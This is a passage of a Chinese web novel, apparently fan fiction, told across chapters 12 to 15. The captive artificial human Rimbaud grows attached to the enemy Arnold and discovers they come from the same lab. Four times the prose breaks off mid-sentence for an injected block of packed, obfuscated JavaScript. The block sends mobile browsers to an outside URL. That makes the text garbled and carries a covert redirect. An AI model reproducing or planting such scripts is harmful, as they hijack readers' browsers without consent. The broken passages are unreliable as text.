保罗·魏尔伦似乎是认为他活着大于死去的价值,于是将他作为俘虏带回了对方所属的阵营。由于指令的存在,兰波无法违抗命令,法国没有对他进行招安惯例的怀柔教育,只是训练了他的体术,还有一些暗杀和谍报技巧。 又过了一段时间,兰波再次见到了曾经战胜自己的入侵者,保罗·魏尔伦站在门口,灰绿色的眼瞳天然就带着些散不去的倦怠与冷淡,但对方的确是个合格的讲述者,至少在对方言简意赅的阐述下,兰波明白了他们接下来要做什么,不至于因为大脑中储存的常识太少,而闹出什么笑话。 兰波被派遣到了英国北方的战场,在这里他不需要再练习暗杀,也没人对他发布什么命令,没有输入指令的机器就这样陷入了待机状态,直到某天,又一个入侵者悄无声息地潜入了他的领域。 兰波的感知能力是顶级的,他天生就对活物的存在非常敏锐,因而注意到了微不可计的生人气息,按照正常思维,他显然应该驱逐对方,再不济也该告知上级,而不是若无其事地看着对方留下的痕迹发呆,仿佛什么也没发生过。 军队管理严格,士兵们苦于憋闷的军旅生活,为兰波这位不管事的大人物守夜时也会见缝插针地聊起天来,谈论到正在进行的战事,语气苦大仇深。尤其提到某个耳熟的名字时,更是噤若寒蝉,话题刹时间冷下。兰波听的多了,倒是对那个名字有了些许印象。 兰波第一次听说对方的事情时,士兵们聊天的语气没有太多惧怕,气氛弥漫着些许好奇。 “我表哥在福楼拜先生手下工作,他告诉我,我们可能赶不及回家过圣诞节了。”有士兵叹了口气。 “怎么可能?我入伍之前,班长就说战争不会持续太久,现在才六月,怎么会来不及回家过圣诞节呢?” “……”最先发言的士兵露出犹豫的表情,“那我告诉你,你别跟别人说啊,其实是敌军的支援到了,是……一个很厉害的超越者,代号应该是……阿诺德?按我表格的说法,如果上头一意孤行硬打下去,说不准要拉扯多久呢。” “啊?”对方哭丧着脸,以普通士兵的角度,他看不到太长远的东西,只知道短时间内回不来家了,想到家中年幼的弟弟妹妹和年迈的父母,十分沮丧。 “别这么丧气,服役的时间长了,军饷也会变多的——你弟弟妹妹不是正缺学费吗?晚点回去,你可以给他们一个大大的惊喜,”士兵拍了拍肩膀,宽慰道,“福楼拜先生亲口答应的事,不会有假。” 但是随着时间的流逝,上头施压越来越重,压力施加到了一定程度,不知是谁把某个同盟超越者的死亡传了出去,风言风语使得士气更加低迷,即使是被刻意隐瞒的底层士兵也意识到了自己在这战场上不过是炮灰一样的存在。 “连堂堂超越者都无法抵抗的怪物般的存在,我们这种普通人还负隅顽抗,不是送死吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15345427|167879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 渐渐地,“阿诺德”变成了一个代表着压抑的信号,心中泛起苦涩的士兵们渴望回国与家人团聚,慢慢地就很少提及英国那位代号为阿诺德的超越者了。兰波记性不错,记得有关阿诺德的描述,不过并没有把传言中妖魔化了的敌方超越者与悄悄来往的那个人划上等号。 他是有通敌的概念的,不过鬼使神差的没有举报,也许是因为他不认为对方是敌人——对方大概是某个胆大包天的小卒?兰波默默收下对方带来的乱七八糟的“礼物”,有时是一束沾着露珠的花,有时是稀奇古怪的小说集,当然,最让他印象深刻的,还是那块让他酸的五官皱成一团的蓝莓蛋糕——当那酸的要命的东西接触味蕾时,兰波终于认识到了“难吃”是什么意思,沉默地放下缺了一角的蛋糕,心道,这就是真正的难吃。 精神生活太过匮乏,兰波也开始期待起每天准时到来的“小惊喜”,比起无聊的枯坐,他更愿意花时间猜测对方今日会送来什么东西。窗户一传来轻轻的敲击声,他就下意识站起身往窗边看,有种隐秘的喜悦在他心中滋生、扩张,蔓延到整个心脏,虽然他们甚至没有交换过名字,却无形中习惯了彼此的陪伴,他们当然不是同类,然胜似同类。 如果他的同类没有被扔进焚化炉的话,应该就是这个样子吧,他们应该像是人类书中所描写的那样亲密地挽着手,以兄弟相称,这就是兰波理想中与同类相处的情景,过去在【牧神】实验室冰冷的地面蜷缩着睡去的时候,他曾做过这样的梦。那是他有记忆以来的唯一一次梦。 如果他们真的是同类就好了。 平静的日子没有持续太久。 突然有一天,刺耳的警报声响起,兰波看到平时最沉稳的最高指挥官福楼拜也满脸肃穆地清点军队,用最严厉、沉郁的语气发表了简短有力的演讲,就结果而言是很成功的演说,因为所有人都被调动起了情绪,真心实意地认为即将到来的一战决定了法兰西的命运,只允许成功,不允许失败。 “为了法兰西!”士兵们异口同声,巨大的声音彰显着鼓舞高昂的士气。 兰波就站在福楼拜演讲台的不远处,眼神在数万万士卒身上游移,似乎在寻找着什么。保罗·魏尔伦察觉到了兰波的走神,问道,“怎么了,兰波?” 兰波像是才回过神来,摇了摇头,“没什么。”脑海中却闪过一双总是笑眯眯弯着的鎏金色眼眸。 对方在哪个军团服役呢? 12. chapter12 ——原来他在敌军服役啊。 一切都发生之后,兰波才慢半拍地意识到。 . 兰波没有从法军中找到阿诺德的身影,略有些出神地跟着保罗·魏尔伦上了战场,没想到却在与敌国超越者交锋的现场上看到了熟悉的人。对方与平时没有什么不同,笑嘻嘻地朝他招手,大声道,“HELLO!听到了吗,HELLO!” 隔着一英里,得亏对方扯着嗓子喊,不然就算兰波再耳聪目明,第一眼也分辨不出来那个站在敌军最前方、占着长官的位置却毫无形象以手作喇叭状大喊的人是谁。 “……”兰波静止无波的脸上罕见地出现了一丝变化,浮现出几分不明所以,在淡淡的脸上尤为明显。 与他并肩作战的保罗·魏尔伦严阵以待,注意力集中在大声打招呼的栗色卷毛身上,没有发现兰波异样的表情,于是微微皱眉,“如果情报没出错的话,最前面的那个就是阿诺德,我们两个联手拦住他!” “他……”就是阿诺德? 兰波脑子还没转过来,他还没适应身份的转变,没法立刻将阿诺德视为需要铲除的对象。但是他的身体已经很习惯命令了,保罗·魏尔伦担任着监督员一职,有权对他发出指令,于是他本能地遵循着命令,如离弦之箭一般极速靠近—— 大地发出不堪重负的呻.吟,阿诺德鎏金色的瞳孔中倒映出兰波的影子,面对明显蕴含着摧山碎石之力的攻势,阿诺德侧身闪开,让兰波打了个空。闪躲不是阿诺德的战斗习惯,不过他也没有固执到非要脸接大招的地步。 大地在极致的重力下皲裂开来,阿诺德看了一眼裂痕遍布的地面,并不自大到认为自己那点几乎可以忽略不计的防御能够抗下这种夸张的重力。显然,在异能力未被制约的情况下,阿诺德不可能用制服莫泊桑和格林的方法打败魏尔伦,不过他没有慌张,纯粹强大的体术可不是唯一的底牌,兰波有异能,他也有啊。 “异能力——【I】。”阿诺德声音很轻,不似平常的战意盎然,反倒有些柔和。 刹那间,四周的空气仿佛被冰冻住了一样,预示着一场即将到来的风暴。位于风暴最中心的兰波打了个哆嗦,像是才发觉自己陷入了什么境地,浑身上下的细胞都在尖叫着逃离。 然而脑子反应过来了,身体却不听使唤。阿诺德发动异能时,二人还在近身搏斗,本来就已经贴身格斗了,兰波还在关键时刻出了致命的故障,他控制不了自己的手脚了! 兰波瞳孔扩大地看着眼前逐渐扩大的属于阿诺德的脸,后者早有预料,勾起一个志得意满的笑。 动作的惯性使兰波与阿诺德之间的距离不断缩短,一切仿佛变成了慢动作,兰波清晰地看到了对方浓密卷翘的睫毛下的金瞳,还有微微翘起的唇角,过去形成的危机感让他全身都在叫嚣着远离,然而心中却诡异的平静,并不觉得抗拒,好像即将降临的不是被碾成碎片的凄惨结局,而是什么更加温暖的东西。 他甚至恍惚间看见自己的下场,鲜血从口、耳、鼻涌出,就连眼前都弥漫着猩红的颜色,生命力从残缺的肢体中飞快流逝,对死亡的恐惧铺天盖地的席卷了他。这种莫名的幻觉是如此真实,他感觉自己真的被杀死了一回,狼狈不堪地死在了不知名的角落。 【检测到玩家杀戮值过高,后遗症‘恶灵缠绕’读秒结束,已延迟触发。被您杀死的生灵形成了恶灵,日夜哀嚎,为活人发出以生命为代价的预警。】 阿诺德眼神动了动,杀戮值?这东西没什么存在感,不在基础面板中展示,他还是头一次知道原来这玩意儿还有后遗症。三年前的他从一具刚刚咽气的躯体中醒来,同时苏醒的异能【I】当天就为他杀死了那个胆大包天的刺客—— 那个刺客既然胆敢夺走前身阿诺德的性命,理应用生命来偿还犯下的罪过。而就在刺客血溅当场的一瞬间,系统发出了杀戮值变动的提醒,【请注意,玩家杀戮值+1】 阿诺德不准备杀了兰波,于是只是随手用异能剥夺了对方的行动能力,与此同时他也察觉到,体内随时间增长而越发充盈的异能能量被抽出了极其微小的一部分。 这种感觉他已经很熟悉了,每次使用异能都是这样,说到底就是一种对自身的消耗。好在这种消耗并非不可逆,只要隔一段时间修养,就会自动恢复,跟某个游戏里吃饱了自动回血的机制类似,不是什么大毛病。 下一刻,兰波落到了一个气息清浅的怀抱中,动弹不得,如同被抽去了骨头,以一种古怪、依赖的姿态,软趴趴地倒在对方胸口。他眼珠艰难地动了动,还未从恐怖的死亡预感中回过神来。 “……”阿诺德顿了一下,一把按住兰波的后脑勺,把对方的脸紧紧压在他的胸膛上,以他人的视角来看,就是兰波就毫无抵抗之意地靠着阿诺德,俨然一副投敌的模样。 除了当事人兰波,没人知道这看似温情的动作中所蕴含的钳制意味,兰波比阿诺德高了半个头,却只能被迫蜷身,试图反抗这样不舒服的姿势,被阿诺德无情地驳回了。于是兰波只好一动不动,充当大型娃娃。 保罗·魏尔伦眼睁睁地看着兰波跌入敌人的怀抱,意识到阿诺德恐怕使了什么手段,让兰波失去行动能力。这种情况在意料之外,不过倒也不算难以置信,因为兰波本就是特殊的人造人,【牧神】在兰波出生时就植入了抹不去的指令,让兰波不得不听从特定之人的号令 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15345428|167879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,也许操控兰波的秘密指令早就在魏尔伦不知道的时候被泄露了,这就可以解释兰波的异常。 不论如何,保罗·魏尔伦不觉得兰波会通敌叛国,在他心里,兰波是一张未经雕琢的原石,懵懂、但本性不坏,不可能无师自通地做出通敌这种事。 比起去怀疑那些有的没的,眼下还有更加迫在眉睫的事情。保罗·魏尔伦咬了咬牙,眸中暗光一闪,他必须将兰波完完整整地带回法国! 阿诺德鎏金色的眼瞳与保罗·魏尔伦直直地对上,犹如交锋一样,没有人率先避让。阿诺德脸上笑意未褪,即使拖着身形不算小巧的兰波,也能游刃有余地挡住【彩画集】凌厉的攻击。 无数金色的立方体聚集起来,尝试攻破对方身边无形的壁障,却无功而返。保罗·魏尔伦额头起了薄汗,只觉好像撞上了一座高山,隐约明白差了点什么,可是短时间内根本无法找出破局之法。 即使是超越者,亦有难以跨越的横沟。他不得不承认,同是空间系异能者,他……至少现在,打不破对方异能形成的壁障。 那些金色的立方体本质上就是亚空间,几乎可以破坏一切物理性质的事物。能够如此完美地防御,只有同为空间系异能这一种可能! 无往不利的异能碰了壁,这是他晋升为超越者以来第一次陷入这么一面倒的战斗。他颓然地松开紧攥的手,手心鲜血淋漓,不甘地目送着敌人带着战利品离开。 作为战利品的兰波自己走不了路,只能阿诺德带他走。阿诺德调整了一下姿势,将兰波扛起来感觉有点挡视野,背起来,又苦于兰波的容易绊倒他的长腿,最后灵光一现,把人拦腰抱起来。周身空间突兀地扭曲起来,裂开血盆大口将两人吞了进去。 . 【I】可以做到任何事,不论是隔空取走他人的性命,还是凭空撕开空间裂隙,近乎无所不能。这就是钟塔侍从隐藏了整整三年,等到迫不得已才舍得放出来的杀手锏。 阿诺德从战场上全身而退,柯南·道尔并不意外。但是当柯南·道尔看见阿诺德抱着战利品,从空间裂隙中钻出来时,差点把一口红茶喷出来,好不容易绷住老成持重的人设,因为震惊,又被茶水呛的咳嗽个不停,锤了好几下胸口,才缓过来。 柯南·道尔呛咳后的脸有些不自然的红润,他指着脸上带着些茫然的兰波,似乎猜到了什么,话语中带着几分微不可察的颤音,“他——你是从哪带回来的?” “?”阿诺德把头顶歪斜的军帽往架子上一扔,仿佛很疑惑似的歪了歪头,“战场啊。” 理所当然的表情就好像在说,既然被我打败了,当然就是我的东西了。 典型的强盗思维。 13. chapter13 ??? 柯南·道尔满脸问号,而阿诺德若无其事把“战利品”兰波往沙发上一扔,接着又鸠占鹊巢地把柯南·道尔挤开,径直抢走了柯南·道尔舒适的躺椅,咕嘟咕嘟地猛灌茶水。 兰波暂时动不了,于是老老实实地靠在沙发侧边的扶手上,看起来格外放松。 但其实事实并非如此,他现在的状态可以这么形容——除了脑子可以思考,四肢连接大脑的神经都仿佛被断开了,逃跑和反抗的选项都被某人强行扣掉了。 兰波目不转睛地盯着阿诺德,看不出有什么敌意,以柯南·道尔的角度来看,兰波眼里更多的是困惑和好奇,他的眼神跟随着阿诺德,充满观察的意味,没有暴起伤人的意思。 乍一看……还挺无害的? 柯南·道尔不清楚兰波的情况,见兰波毫无被绑架到敌营的警惕,于是冒出一个恐怖的想法,难道阿诺德的异能又进化了,甚至可以迷惑心智?不然怎么解释兰波作为法国阵营的超越者,被带到敌营,反应却这么不合常理。 很快,柯南·道尔就嘴角抽搐地从呈上来的情报里了解到了真相。 原来阿诺德在众目睽睽之下用不知名的手段击败并带走了兰波,并且在保罗·魏尔伦的阻拦下全身而退,高调至极。 “……”柯南·道尔顿时无言以对。情况虽然和他想象的不太一样,但的确是阿诺德会干出来的事情,对方做事之前极少考虑别的东西,肆无忌惮地想做就做了。 对阿诺德来说,后果?那是什么? 柯南·道尔犹还记得,阿诺德还在伦敦时,曾有人在不知道他身份的时候用污言秽语调戏他,被睚眦必报的阿诺德挂到伦敦塔顶吹了好几天风,若非游客的超高清相机无意间拍到了一张涕泪横流的惨白的脸,那人恐怕会变成伦敦塔顶的一具无名白骨,要是传出去,那就是天大的笑话了。 柯南·道尔想起这件事,表情古怪。 那人运气倒是不错,在饿死之前被救了下来,经此一役被吓破了胆,赶紧连夜卷走全部家产离开了伦敦。 阿诺德得知此事后气急败坏,叫钟塔侍从查人去哪儿了,最后调查出对方已经漂洋过海跑到美国了,鞭长莫及。 因着这件事,阿诺德那些天都很不高兴,意义重大的伦敦塔也因此被牵连,被那无法无天的祖宗找到把守空隙,直接炸塌了一个角。那天,钟塔侍从所有人都被迫加班加点地运作。 若非皇室牢牢把控了社交媒体,让事情没有广为流传,钟塔侍从也平息了大部分的流言,不然影响可不会这么简单。 但就算是这样,阿诺德还是缠着女王,闹得女王没办法,最终还是批了出境特令让他亲自去一趟美国找人算账。等阿诺德回来后就恢复了正常,总算不再整天摆着一张“我不开心”的臭脸了。 柯南·道尔太了解阿诺德的秉性了,一见到对方重新恢复笑容的脸蛋,就知道有人逃得了一时逃不过一世,终归还是逃不开死亡的结局。 不过柯南·道尔倒是不觉得阿诺德千里追杀有什么问题,对方出言不逊在先,阿诺德的报复尽管有点过头,也在情理之中。 既然胆敢调戏阿诺德这混世魔王,自然要承担相应的后果,柯南·道尔习惯了息事宁人、顾全大局,看到阿诺德年轻气盛地跑去追杀,倒是久违地觉得很畅快。 但,这不代表柯南·道尔完全没有意见。 钟塔侍从因着突如其来的乱子不得不加班工作——阿诺德干坏事之前当然不会提前通知他们。 在阿加莎幽怨的眼神下,柯南·道尔良心隐隐作痛,也不好就这么干看着,所以每次阿诺德搞出什么乱子,他也得帮着收拾烂摊子。 就因为阿诺德实在太能惹麻烦,柯南·道尔忍无可忍自请离开伦敦,把烂摊子留给了别无选择的阿加莎。 阿加莎是钟塔侍从的近卫骑士长,无事不得离开伦敦,被迫与麻烦成精的阿诺德朝夕相对,近年来整个人都消沉了许多。 这已经是两年前的事了,那时阿诺德的名声还不像现在这样骇人,经过这事后,阿诺德才正式成为了钟塔侍从的中高层最不敢得罪的人,只有那些远离权力中心的人还会天真地对阿诺德抱有滤镜,认为他只是脾气糟糕一些,抛开缺点不谈,仍然是名副其实的钟塔侍从近卫骑士长……实则不然。 他们拿阿诺德把人挂到伦敦塔的事当玩笑,以为这只是心照不宣的传言,然而那些离奇的传言其实不虚,甚至可以说是毫不掺假。 柯南·道尔叹了口气,挥散那些难绷的往事,组织了一下语言,一五一十地向女王汇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15345429|167879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 报了战况,他隐约有种预感,或许战争持续的时间不会太久了。 北方战线是掀不起什么风浪了,阿诺德接连挫败两次超越者的袭击,敌方想必惊疑不定,很难再策划什么变故了。柯南·道尔复杂地看了一眼阿诺德,阿诺德这没心没肺的倒是没什么要操心的,肩头沉重的柯南·道尔要考虑得就多了。 . 【姓名:‘阿蒂尔·兰波’\‘黑之十二号’】 …… 【好感(对玩家):59】 兰波是个木头。阿诺德看着兰波平静的侧脸,作出了这个结论。 “系统,他是不是木头成精?”阿诺德有点纳闷。好感卡在59已经好几天了,不管他怎么掐兰波的脸,弄乱兰波漂亮的金发,还是做各种恶作剧试图引起对方注意,兰波都是很平淡地盯着他,一副若有所思的样子。 系统:【经检测,名为‘阿蒂尔·兰波’的个体是属于‘非人类’范畴的人造人,其体内寄宿了强大的能量体,外在表现形式为操控重力大小和方向的异能……】 “打住,”阿诺德打断了系统,“我不是问你这个,我只是想强调他真的很木而已。这种情况,你应该说‘我也感觉他像个木头’之类的话才对吧。系统也要与时俱进啊,你作为一个数据库储存了这么多素材的智能系统,聊天水平怎么还不如我呢?” 系统沉思一会儿,还真认可了这种说法,接受了主人的批评,【您说得对。】 “这个眷属事件,到底要怎么完成啊?”阿诺德又问。他是真的搞不懂系统的判定,上次的突发事件在他击败格林之后就自动结束了,系统也发放了奖励,但是兰波这个事件没头没尾的,他一点头绪都没有。 假如我并不孤独?阿诺德第一次见到这个眷属事件的名称时,心中只觉疑惑。 孤独?他对这个词的认知全部来自于书本的描述,智慧生物缺少陪伴时,可能会产生孤独之类的情绪,但这种情绪离他太远了,压根理解不了。 阿诺德认真思索一番,发现自己脑袋空空,反正想了跟没想都是一样的结果,那还浪费什么时间,不如出去玩。 抱着这样的想法,阿诺德果断溜出去了。 他头也不回,没看到兰波专注地看着他的背影。 . 14.chapter14 兰波被俘后,法方也不是无所作为,至少柯南·道尔这里就不止一次收到言辞恳切的和谈电报,对面言语间皆是对兰波的关怀,表示可以退出英国北境,只希望英方不要虐待俘虏。 柯南·道尔心中冷笑,表面功夫倒是做的不错。 虽然对方主动和谈,不惜许下重诺,但是既然形势已经逆转,占据谈判优势的柯南·道尔自然可以拿乔。 任由使者使劲浑身解数,他也不轻易松口,用高超的话术把话堵回去,总之就是不见兔子不撒鹰,对方不拿出对应兰波价值的东西作交换,他们不可能全须全尾地将兰波放回去。 兰波出身【牧神】的实验室,并非自然人,但是再怎么说兰波也是超越者,即使被阿诺德打败,也不能否认他的潜力和分量。 每一名超越者都是重宝,兰波被掳至敌方之后,作出让兰波支援北境战线决策的高层已经受到了应有的责罚,官职连掉几级不说,更是被下放到偏远之地,被迫远离权力汇聚的巴黎。 柯南·道尔思考着怎么做才能让收益最大化,余光瞥见阿诺德拽着兰波跑出去玩,心里又有了盘算。 经过这些天的观察,柯南·道尔看得出来兰波在阿诺德这里的特殊待遇。阿诺德在伦敦的时候其实更多的是独来独往,很少与人一同玩闹,这主要是因为阿诺德性子太霸道,容不得他人忤逆,难伺候得很。 而兰波性格恰恰相反,他似乎并不介意阿诺德的种种过分行为,就算阿诺德从被窝里把他挖出来,兰波也只是睁着睡意惺忪的蓝眸自顾自地发呆,没有多少怨气——说到这里,柯南·道尔就忍不住想到阿诺德那人嫌狗憎的性子,换做是阿诺德被人从睡梦中生生吵醒,理由居然是奇葩的“陪我去河里洗澡”,翻涌的起床气会掀翻整个伦敦吧。 于是,柯南·道尔在女王询问他意见的时候,慎重斟酌地敲下几行字,【强行留下兰波虽是兵行险招,但也不失为一种高风险高收益的决策。】 他犹豫了一下,决定如实写下阿诺德对兰波不同寻常的态度,【阿诺德似乎将兰波当成了玩伴,每天都跟兰波待在一起,平日里都不常惹事了。所以我认为与其接受和谈释放兰波,不如反其道而行之,以目前的情况,我方完全可以抗下所有施压,这一切都是值得的。】 的确,兰波的价值不仅在于其超越者级别的实力,还有阿诺德的另眼相待。柯南·道尔相信女王看得出来他委婉的暗示,能一定程度上遏制阿诺德闯祸的人,又兼之不可忽视的实力,完全值得他们为之冒险。更何况…… 柯南·道尔眸光一暗,兰波已经是战利品了,不是吗?对方并不执着于逃回法国,这就给了他们很大的操作空间,也意味着兰波有可能改换门庭的。 很快,柯南·道尔就收到了应允的答复。女王同意了他的主张,并为此询问他是否需要调来更多助力,从而抵消兰波老东家的反扑。 柯南·道尔拒绝了,阿诺德的存在本身就是极大的威慑,他展现出的强横实力足以让任何人投鼠忌器。 而且,法国现在可腾不出手来对付他们。柯南·道尔听说,隶属于法国的强大超越者凡尔纳厌倦战争,已经拒绝为国出战,这就像是一个鲜明的征兆,法国国内的反战思潮如一丛野火,飞速蔓延,一时间乱象横生,哪还有余力来找他们麻烦? 只能吃下这个哑巴亏。 另一边,阿诺德拉着兰波的手腕,飞快地穿行在森林里。两人的身影在林木交错间影影绰绰,看得出来阿诺德正死死扣着兰波,几乎是用自己的力道拽着对方前进。 尽管兰波根本没有逃跑的意思,他的手劲还是半点都不曾减少。没人告诉过阿诺德,他手劲很大,攥得人生疼。 兰波作为少数有幸感受过阿诺德如大象般手劲的人,也是个闷葫芦,疼了也不会说出来,只是沉默地敛下睫毛,盯着阿诺德抓着自己的手。 阿诺德浑然不觉,他把外套一脱,往树梢上甩去,正好遮住河岸边的一处,为他们挡住略有些刺眼的阳光。 在柯南大叔的默许下,兰波被允许跟他一同出行,阿诺德有什么想法都会第一时间找兰波去试试,而兰波就像个真人比例的娃娃一样,异常乖巧地跟着他,不管他干什么奇怪的事情,都不会反抗。 人都是有脾气的,但是兰波似乎没有这种东西。他确实是【牧神】最完美的造物,温顺,听话,擅于执行命令,而不习惯多加思考。被输入指令的次数多了,一旦没人命令他,他就会任人摆弄,如同一具没有灵魂的玩偶。 但阿诺德知道不是这样。他不常关注某个个体,但是如果仔细去观察,也能发觉兰波平静的表情下掩藏着的种种情绪,非常微弱,仿佛一吹就散,但却是拥有灵魂的证明。 有时候,阿诺德被毫无头绪的眷属事件搞的有些烦闷,就会去找兰波,用各种匪夷所思的行为去激起对方微不可见的情绪——这其实很有意思,不是吗? 当阿诺德半夜不睡觉,把深度睡眠的兰波强行从被子里挖出来的时候,兰波看似没有波动,气息里却泄露出了丝丝困惑,还夹杂着不自知的烦躁。 这种负面情绪出现在人偶一样冷淡的兰波身上,让阿诺德感觉十分新奇,他凑近了去看兰波的表情,可是兰波一看到那张属于阿诺德的生动鲜活的脸蛋,躁动着的不快就突兀地消散了。 “我的脸有什么消除负面情绪的功能吗?”阿诺德不解。 上次因为兰波太困,浑身上下都萦绕着一股“要睡着了”的倦怠,怎么逗都没有反应,阿诺德觉得无聊,就没硬拖着对方下河洗澡——是的,他半夜不睡觉吵醒兰波,仅仅是因为想去河边泡澡。 柯南·道尔听说了这件无厘头的事情,用隐含怜悯的目光看了兰波一眼。被吵了一宿的兰波似乎有些缺觉,没精打采的样子跟旁边活力四射的阿诺德形成了鲜明对比。 这次阿诺德决定继续上次没做完的事情,他要到河边泡澡!手工定制的外套被他毫不珍惜地丢到树杈子上,拂过的微风灌进袖口,将袖子吹的鼓了起来。 这里是阿诺德找到的秘密基地,远离人烟和军旅,不算宽阔的河流在树荫下静静地流淌着,大约有两米深,清澈见底,就连几条指节大小的鱼儿游过,都能看得一清二楚。 泡澡这种事当然不能一个人,所以兰波也被拉了过来。 岸边站着的金发蓝眸的少年气质淡漠,看着阿诺德兴冲冲地往水里一扎,如一尾自由自在的鱼,清澈的水流从光滑的鹅卵石缝隙间流过,却带不走阿诺德身上那种蓬勃的生命力。 兰波略有些出神,从未如此清晰地认识到,对方是与他完全不同的一类人。 等阿诺德沾着水的栗色脑袋从水里冒出来时,兰波看到了一双金灿灿的眼睛,无穷无尽的生机在其中浮现,几乎将兰波烫伤。 他近乎仓皇地移开目光,不知为何有种古怪的不知怎么形容的感觉。下一瞬,一种陌生的、潮湿的感受席卷了他,他低垂着眼,注视着衬衣上洇湿的水渍。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15352517|167879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>哗啦。阿诺德把水泼到了他身上。 正值夏季,天气不算很热,兰波只觉得有些清凉,下意识后退一步,试图避开阿诺德毫无边界感的泼水,但是他失败了,正如之前毫无反抗之力地被制服,阿诺德这次也轻易地把他拖下了水。 兰波微微睁大眼,吐出一连串咕噜咕噜的气泡,他呛咳了几声,茫然地趴在阿诺德的肩膀上——当然,是被钳制的。 他从来没有过这样的体验,阿诺德毫无预兆地从水中跃起,趁他毫无防备之际抱着他的脖子把他拉下水。 兰波拗不过阿诺德的力气,只能顺着对方跌进水里,整个人都浸在了水中,温度略低的水流无视了单薄的衣物,径直吻上了他的身体,让他忍不住打了个哆嗦。 阿诺德大声地笑着,明明是他把兰波弄得乱七八糟,却没有半点悔改之心,而是变本加厉地缠住兰波,让两个人都变得湿漉漉的,看起来是如出一辙的狼狈。 此时的他们看上去不像是万人之上的超越者,而像是趁长官不备跑出来玩耍的小兵了。 兰波神情有几分迷茫,“咳咳!” 虽然从没有过游泳的经验,高挑修长的身材和久经训练的体质帮助兰波在水流中勉强保持了平衡,在水中打闹,眼中不可避免地进了水,让兰波感觉有些干涩。 他用力眨了眨眼,发现阿诺德开始松开抓着他的手,在他耳边说,“我们比一比谁更快!看看谁先到那里!”阿诺德指着不远处的一块巨石,巨石沉浸在水中,被水冲刷了很久。 说着,阿诺德就猛扎进水中,白色的衬衫在动作下发生了位移,不再湿哒哒地附着在皮肤上。 树枝交错的空隙间,阳光有些晃眼,兰波隐约看到对方的后腰上似乎有一串纹身似的黑色印记,心脏仿佛被重重敲击了一下,短短几秒内,他不知道自己想了什么,只是本能地模仿对方的动作,从不息的水流中穿梭而过。 理所当然地,阿诺德第一个抵达终点,以胜利者的姿态坐在巨石上面,如同炽烈的太阳,强势到让人难以呼吸。他脸不红气不喘,显然,这点运动对他来说不算什么。 这点距离对兰波来说也本应不算什么,他可以不眠不休地奔袭三天,却在短暂的几分钟内剧烈地喘息。这其实不应该,尽管阿诺德游的很快,但是兰波的体术也没有差到那种地步。 兰波从水中仰起脸,盯着阿诺德后腰上的印记,极少有波动的脸上居然出现了几分恍惚,他张了张嘴,似乎要说些什么。 对方身上的黑色记号,他曾描摹过无数次。 兰波平复着呼吸,看向自己的后腰。同样的地方,烙印着他一生的起点,也是最初的编号,象征着无可更改的非人身份。 【BLACK TWELVE.(黑之十二号)】 而阿诺德身上的标记,与他属于同一系列,从一号到十二号,就是【牧神】取名的惯例,在兰波作为“黑之二十号”诞生之前,已经有了十一个牺牲品。 兰波不清楚前十一个实验品是否还活着,但他曾亲眼看见研究员把BLACK系列的某一实验体扔进焚化炉。 他曾以为自己已经没有同类,【牧神】的实验体中,仅有他苟延残喘地活了下来。 他盯着阿诺德的后腰,对方并未察觉到异样,仰躺着倒进了水里,传来哗啦的声响。 【BLACK ONE.(黑之一号)】 他伸出手,想要抓住兄长。 “……哥哥……” 15.chapter15 “……哥哥……”兰波喃喃道。他们诞生于同一个实验室,他是十二号,而阿诺德是一号,所以他理所当然应该叫阿诺德哥哥。 虽然不知道阿诺德是怎么从【牧神】的实验室逃出去的,但是对方身上的印记就是无可反驳的证明,不存在错认的可能。 他心中对阿诺德的定义似乎在这一刻明朗起来了,不再是朦胧不清的“不讨厌的人类”。而是另一种让他下意识心跳加速的存在。 曾经的他并不抗拒阿诺德的接近,他自己也怀揣着观察和学习人类的心思,默默地打量着这个与众不同的“人类”。 结果阿诺德根本就不是人,而是他的同类。 兰波这时候才明白为何第一眼看见阿诺德的时候,他晃神了一下,然后忍不住看着对方明亮的眼眸怔愣。 